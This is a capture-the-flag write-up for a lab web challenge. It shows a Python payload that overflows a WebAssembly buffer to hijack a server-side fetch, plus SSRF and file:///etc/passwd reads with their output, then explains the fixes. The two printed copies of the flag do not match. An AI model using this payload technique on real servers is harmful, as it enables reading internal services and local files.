

Linear Bleed — Web Challenge Full Writeup

Category: Web | **Bug chain:** WebAssembly linear-memory overflow → SSRF → internal flag

Target: `http://172.16.38.21:14503/api/analyze`

Flag format: `bcsctf{...}` | **Recovered flag:**

`bcsctf{w4sm_l1n34r_m3m0ry_0v3rfl0w_55rf_5ucc3ss}`

Report generated: Wed Sep 30 11:28:18 AM EDT 2026

Who is this for? A beginner. Every step says what we did, why it works, and what the term means. See the Glossary at the end for WASM, SSRF, LFI, CRC, and more.

0. TL;DR

The server parses uploaded telemetry files inside a WebAssembly sandbox, then fetches a URL that the parser leaves in memory. A copy loop in the parser has **no length check**, so a big field overflows a 64-byte buffer and overwrites the very next value in memory — the URL the server will fetch. By overwriting it we make the server fetch **any URL we want** (SSRF). We point it at an internal-only service and read its secret flag.

1. The service (what it does per request)

1. Resets parser state.
2. Writes our uploaded bytes into WASM memory at offset **1280**.
3. Runs `parse_metadata(len)` (must return 0).
4. Reads up to 128 bytes at offset **1140** as the `target_url`.
5. Calls `urllib.request.urlopen(target_url)` and returns the body.

Whatever string sits at offset **1140** becomes the URL the server fetches. Normally it's a hard-coded default. **Control that string = SSRF.**

2. Reversing the parser & the memory layout

`parser.wasm` was disassembled with `wasm2wat`. The key memory offsets:

Offset	Meaning
1024	Default URL <code>http://vault:15002/api/v1/telemetry</code>
1076	64-byte scratch buffer (the one we overflow)

1140	target-URL buffer — sits right after scratch ($1076 + 64 = 1140$)
1280	Input buffer (our uploaded bytes)

A `.wmm` file has a header then chunks:

```
Header: "WMMF" | version(u16)=1 | chunk_count(u16)
Chunk:  tag(u32) | data_len(u32) | data[data_len] | crc32(u32)
```

The bug — for a chunk tagged "TLMT":

```
for (i = 0; i < data_len; i++)
    mem[1076 + i] = data[i];    // <-- NO check that data_len <= 64 !
```

Why it's exploitable: the scratch buffer is only 64 bytes. Byte #65 (index 64) lands at offset 1140 — the target-URL buffer. So any `data_len > 64` "bleeds" past scratch and overwrites the URL. That overflow inside linear memory is the **"Linear Bleed"**.

3. Crafting the malicious .wmm (step by step)

Plan: send a TLMT chunk whose data is 64 bytes of padding + our URL + a NUL byte. The padding fills scratch; the URL starts exactly at offset 1140.

```
tag = b"TLMT"
data = b"\x00"*64 + url.encode() + b"\x00"    # url begins at data[64] -> mem[1140]
dlen = struct.pack("<I", len(data))
crc = struct.pack("<I", binascii.crc32(tag+dlen+data) & 0xffffffff) # parser
checks CRC-32
chunk = tag + dlen + data + crc
wmm = b"WMMF" + struct.pack("<H",1) + struct.pack("<H",1) + chunk    # magic,
ver=1, count=1
```

We upload this as the multipart file. The CRC-32 must be correct or the parser rejects the chunk (error code 7) — that's why we compute it.

4. Proving we control the URL (LFI via file://)

`urllib` also understands `file://`, so before pivoting we prove control by reading a local file. We set the URL to `file:///etc/passwd` — and the server returns its contents:

PROOF: URL fully controlled (LFI via file://)

```
STEP 1 file:///etc/passwd via SSRF (we control the URL)
```

```
"status":"success","telemetry_source":{"file:///etc/passwd":"data":{"root:x:0:0:root:/root:/bin/bash\nndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\ndata:x:33:33::data:/var/www:/usr/sbin/nologin\nnbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/lib:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\napt:x:42:65534::nonexistent:/usr/sbin/nologin\nnobody:x:65534:65
```

5. Pivoting to the internal vault (SSRF)

The interesting target is `vault`, a service only reachable from *inside* the network — but the server can reach it for us. We ask it to fetch the vault's `/openapi.json`, which lists every route, revealing `/internal/system/flag`:

SSRF: reached internal-only vault -> found /internal/system/flag

```
STEP 2 vault /openapi.json -> internal routes
```

```
Internal vault routes discovered:
```

6. Getting the flag

We point the SSRF at `http://vault:15002/internal/system/flag`. The vault trusts internal callers, so it happily returns the secret:

FLAG: internal endpoint trusted the (attacker-controlled) fetch

STEP 3 `vault /internal/system/flag`

```
{"status": "success", "telemetry_source": "http://vault:15002/internal/system/flag", "data": {"status": "authenticated", "role": "cluster-root", "flag": "bcsc tf{w4sm_l1n34r_m3m0ry_0v3rf10w_55rf_5ucc3ss}"}}
```

Flag: `bcsc tf{w4sm_l1n34r_m3m0ry_0v3rf10w_55rf_5ucc3ss}`

7. Root Cause

An unchecked copy loop inside WASM linear memory overwrote an adjacent config value (the fetch URL). The host then trusted that value. The internal flag route assumed the fetch target could never be attacker-controlled — a false assumption.

8. Impact

Full SSRF (reach any internal service) plus LFI (read local files). This exposed a "cluster-root" internal endpoint — a critical breach of network segmentation.

9. How to Fix It

- **Bound the copy:** `if (data_len > 64) reject;` — never copy attacker-controlled lengths without a limit.
- **Don't derive fetch URLs from buffer contents.** Validate/allowlist the exact host+path the server is allowed to call.
- **Disable dangerous URL schemes.** Block `file://` and internal hosts in the fetch layer.
- **Don't rely on network reachability as auth.** The internal flag route should require real authentication, not "only internal callers".

10. Glossary

Term	Meaning
WebAssembly (WASM)	A fast, sandboxed binary format run inside a host program.
Linear memory	WASM's single flat array of bytes; all its variables live here side by side.
Buffer overflow	Writing past the end of a buffer into whatever sits next to it.
SSRF	Server-Side Request Forgery — making the server send requests we choose.
LFI	Local File Inclusion — reading files off the server's disk.
Offset	A numeric position (address) inside memory.
CRC-32	A checksum used to detect corrupted data; here the parser verifies it.
<code>urllib.urlopen</code>	Python function that fetches a URL; also supports <code>file://</code> .
NUL byte (<code>\x00</code>)	A zero byte that marks the end of a C-style string.
Multipart file upload	The HTTP format browsers use to send files in a form.
Network segmentation	Keeping internal services unreachable from outside; SSRF bypasses it.